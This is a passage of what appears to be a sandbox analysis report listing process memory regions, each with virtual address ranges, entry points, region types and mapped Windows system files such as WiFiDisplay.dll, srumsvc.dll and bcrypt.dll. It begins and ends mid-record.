6403 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6426 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6427 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6429 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6430 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6431 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6432 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6453 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6454 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6456 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6457 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6458 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6459 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6460 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6461 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6462 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6463 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6464 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6465 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6466 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6467 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6468 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6469 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6470 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6471 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6472 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6473 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6474 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6475 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6476 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6477 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6478 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6479 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6480 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6481 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6482 start_va = 0xfff690000 end_va = 0xfff6a2fff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6495 start_va = 0xffde00000 end_va = 0xffde02fff entry_point = 0xffde00000 region_type = mapped_file name = "resources.pri" filename = "\\Windows\\WinStore\\resources.pri" (normalized: "c:\\windows\\winstore\\resources.pri") Region: id = 6496 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6497 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6498 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6499 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6508 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6509 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6513 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0xffe0c0000 region_type = mapped_file name = "754694702.pri" filename = "\\Windows\\rescache\\_merged\\3592120974\\754694702.pri" (normalized: "c:\\windows\\rescache\\_merged\\3592120974\\754694702.pri") Region: id = 6514 start_va = 0xfff690000 end_va = 0xfff690fff entry_point = 0xfff690000 region_type = mapped_file name = "resources.en-us.pri" filename = "\\Windows\\WinStore\\pris\\resources.en-US.pri" (normalized: "c:\\windows\\winstore\\pris\\resources.en-us.pri") Region: id = 6535 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6536 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff690000 region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6540 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0x0 region_type = private name = "private_0x0000000ffe0c0000" filename = "" Region: id = 6541 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6542 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff6a1b6c region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6543 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6544 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff6a1b6c region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6545 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6546 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff6a1b6c region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6547 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6548 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff6a1b6c region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6549 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0xffde00000 region_type = mapped_file name = "wifidisplay.dll.mui" filename = "\\Windows\\System32\\en-US\\WiFiDisplay.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wifidisplay.dll.mui") Region: id = 6550 start_va = 0xfff690000 end_va = 0xfff6acfff entry_point = 0xfff6a1b6c region_type = mapped_file name = "wifidisplay.dll" filename = "\\Windows\\System32\\WiFiDisplay.dll" (normalized: "c:\\windows\\system32\\wifidisplay.dll") Region: id = 6629 start_va = 0xfff690000 end_va = 0xfff88ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff690000" filename = "" Region: id = 6630 start_va = 0xfff890000 end_va = 0xfffa8ffff entry_point = 0x0 region_type = private name = "private_0x0000000fff890000" filename = "" Region: id = 6638 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6639 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6640 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6641 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6642 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6643 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6644 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6645 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6646 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6647 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6648 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6649 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6650 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6651 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6652 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6653 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6654 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6655 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6656 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6657 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6658 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6659 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6660 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6661 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6662 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6663 start_va = 0xfffa90000 end_va = 0xfffaa2fff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6664 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6665 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6666 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6667 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6668 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6675 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6774 start_va = 0xffde00000 end_va = 0xffde00fff entry_point = 0x0 region_type = private name = "private_0x0000000ffde00000" filename = "" Region: id = 6800 start_va = 0x7ffd13500000 end_va = 0x7ffd1351afff entry_point = 0x7ffd13500000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 6841 start_va = 0x7ffd13300000 end_va = 0x7ffd13467fff entry_point = 0x7ffd13300000 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 6866 start_va = 0xffde00000 end_va = 0xffde01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffde00000" filename = "" Region: id = 6867 start_va = 0xfffa90000 end_va = 0xfffb0ffff entry_point = 0x0 region_type = private name = "private_0x0000000fffa90000" filename = "" Region: id = 6868 start_va = 0x7ff6180f4000 end_va = 0x7ff6180f5fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180f4000" filename = "" Region: id = 6878 start_va = 0x7ffd13190000 end_va = 0x7ffd13197fff entry_point = 0x7ffd13190000 region_type = mapped_file name = "pnpts.dll" filename = "\\Windows\\System32\\pnpts.dll" (normalized: "c:\\windows\\system32\\pnpts.dll") Region: id = 6920 start_va = 0xfffb10000 end_va = 0xfffb8ffff entry_point = 0x0 region_type = private name = "private_0x0000000fffb10000" filename = "" Region: id = 6921 start_va = 0x7ff6180f2000 end_va = 0x7ff6180f3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180f2000" filename = "" Region: id = 6922 start_va = 0x7ffd12f80000 end_va = 0x7ffd12f9cfff entry_point = 0x7ffd12f80000 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll") Region: id = 6928 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6929 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6930 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6931 start_va = 0xfffb90000 end_va = 0xfffdcffff entry_point = 0x0 region_type = private name = "private_0x0000000fffb90000" filename = "" Region: id = 6932 start_va = 0xfffdd0000 end_va = 0xffffe0fff entry_point = 0x0 region_type = private name = "private_0x0000000fffdd0000" filename = "" Region: id = 6991 start_va = 0xf80000000 end_va = 0xf8007ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80000000" filename = "" Region: id = 6992 start_va = 0xf80080000 end_va = 0xf800fffff entry_point = 0x0 region_type = private name = "private_0x0000000f80080000" filename = "" Region: id = 6993 start_va = 0xf80100000 end_va = 0xf8017ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80100000" filename = "" Region: id = 6994 start_va = 0xfffb90000 end_va = 0xfffc0ffff entry_point = 0x0 region_type = private name = "private_0x0000000fffb90000" filename = "" Region: id = 6995 start_va = 0xfffc10000 end_va = 0xfffc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000fffc10000" filename = "" Region: id = 6996 start_va = 0xfffcb0000 end_va = 0xfffdcffff entry_point = 0x0 region_type = private name = "private_0x0000000fffcb0000" filename = "" Region: id = 6997 start_va = 0x7ff6180e8000 end_va = 0x7ff6180e9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180e8000" filename = "" Region: id = 6998 start_va = 0x7ff6180ea000 end_va = 0x7ff6180ebfff entry_point = 0x0 region_type = private name = "private_0x00007ff6180ea000" filename = "" Region: id = 6999 start_va = 0x7ff6180ec000 end_va = 0x7ff6180edfff entry_point = 0x0 region_type = private name = "private_0x00007ff6180ec000" filename = "" Region: id = 7000 start_va = 0x7ff6180ee000 end_va = 0x7ff6180effff entry_point = 0x0 region_type = private name = "private_0x00007ff6180ee000" filename = "" Region: id = 7001 start_va = 0x7ff6180f0000 end_va = 0x7ff6180f1fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180f0000" filename = "" Region: id = 7002 start_va = 0x7ffd12bc0000 end_va = 0x7ffd12bebfff entry_point = 0x7ffd12bc0000 region_type = mapped_file name = "srumsvc.dll" filename = "\\Windows\\System32\\srumsvc.dll" (normalized: "c:\\windows\\system32\\srumsvc.dll") Region: id = 7006 start_va = 0x7ffd15360000 end_va = 0x7ffd15610fff entry_point = 0x7ffd153d5bec region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 7007 start_va = 0xf80180000 end_va = 0xf8027ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80180000" filename = "" Region: id = 7008 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7009 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7010 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7043 start_va = 0xf80280000 end_va = 0xf802fffff entry_point = 0x0 region_type = private name = "private_0x0000000f80280000" filename = "" Region: id = 7044 start_va = 0x7ff6180e6000 end_va = 0x7ff6180e7fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180e6000" filename = "" Region: id = 7045 start_va = 0x7ffd163d0000 end_va = 0x7ffd163ddfff entry_point = 0x7ffd163d0000 region_type = mapped_file name = "wdiasqmmodule.dll" filename = "\\Windows\\System32\\wdiasqmmodule.dll" (normalized: "c:\\windows\\system32\\wdiasqmmodule.dll") Region: id = 7051 start_va = 0xffe0c0000 end_va = 0xffe0c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ffe0c0000" filename = "" Region: id = 7052 start_va = 0xf80300000 end_va = 0xf8037ffff entry_point = 0x0 region_type = private name = "private_0x0000000f80300000" filename = "" Region: id = 7053 start_va = 0x7ff6180e4000 end_va = 0x7ff6180e5fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180e4000" filename = "" Region: id = 7086 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7107 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7108 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7109 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7110 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7111 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7112 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7113 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7114 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7115 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7116 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7117 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7118 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7119 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7120 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7121 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7122 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7123 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7124 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7125 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7126 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7127 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7128 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7129 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7130 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7131 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7132 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7133 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7134 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7135 start_va = 0xffeb20000 end_va = 0xffeb32fff entry_point = 0x0 region_type = private name = "private_0x0000000ffeb20000" filename = "" Region: id = 7140 start_va = 0x7ffd12710000 end_va = 0x7ffd12723fff entry_point = 0x7ffd12710000 region_type = mapped_file name = "nduprov.dll" filename = "\\Windows\\System32\\nduprov.dll" (normalized: "c:\\windows\\system32\\nduprov.dll") Region: id = 7148 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd153158fc region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7149 start_va = 0x7ffd12670000 end_va = 0x7ffd1267afff entry_point = 0x7ffd12670000 region_type = mapped_file name = "wpnsruprov.dll" filename = "\\Windows\\System32\\wpnsruprov.dll" (normalized: "c:\\windows\\system32\\wpnsruprov.dll") Region: id = 7151 start_va = 0xf80380000 end_va = 0xf803fffff entry_point = 0x0 region_type = private name = "private_0x0000000f80380000" filename = "" Region: id = 7152 start_va = 0x7ff6180e2000 end_va = 0x7ff6180e3fff entry_point = 0x0 region_type = private name = "private_0x00007ff6180e2000" filename = "" Region: id = 7153 start_va = 0x7ffd12660000 end_va = 0x7ffd1266cfff entry_point = 0x7ffd12660000 region_type = mapped_file name = "appsruprov.dll" filename = "\\Windows\\System32\\appsruprov.dll" (normalized: "c:\\windows\\system32\\appsruprov.dll") Region: id = 7201 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7204 start_va = 0x7ffd12640000 end_va = 0x7ffd1264afff entry_point = 